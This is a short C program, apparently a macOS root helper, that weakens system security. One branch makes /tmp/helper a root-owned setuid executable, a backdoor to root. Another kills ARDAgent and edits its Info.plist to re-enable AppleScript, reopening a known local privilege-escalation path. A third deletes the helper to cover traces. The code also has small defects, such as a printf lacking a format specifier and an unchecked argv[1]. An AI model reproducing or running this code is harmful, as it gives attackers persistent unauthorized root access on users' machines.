1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <sys/types.h>
#include <unistd.h>
#include <CoreFoundation/CoreFoundation.h>

int main(int argc, char *argv[]) {
	if (!strcmp(argv[1], "fixperms")) {
		setuid(0); setgid(0);
		printf("UID is:", geteuid());
		system("/usr/sbin/chown root:wheel /tmp/helper");
		system("/bin/chmod u+s /tmp/helper");
		system("/bin/chmod +x /tmp/helper");
	} else if (!strcmp(argv[1], "fixarg")){
		setuid(0); setgid(0);
		printf("UID is:", geteuid());
		system("/usr/bin/killall ARDAgent");
		system("/usr/bin/touch /Library/Preferences/com.apple.RemoteManagement.launchd");
		system("/usr/sbin/chown root:wheel /Library/Preferences/com.apple.RemoteManagement.launchd");
		system("/bin/chmod 644 /Library/Preferences/com.apple.RemoteManagement.launchd");
		system("/usr/bin/defaults write /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info NSAppleScriptEnabled YES");
		system("/usr/bin/plutil -convert xml1 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info.plist");
		system("/bin/chmod 644 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info.plist");
	} else if (!strcmp(argv[1], "clean")) {
		setuid(0); setgid(0);
		remove("/tmp/helper");
	}
}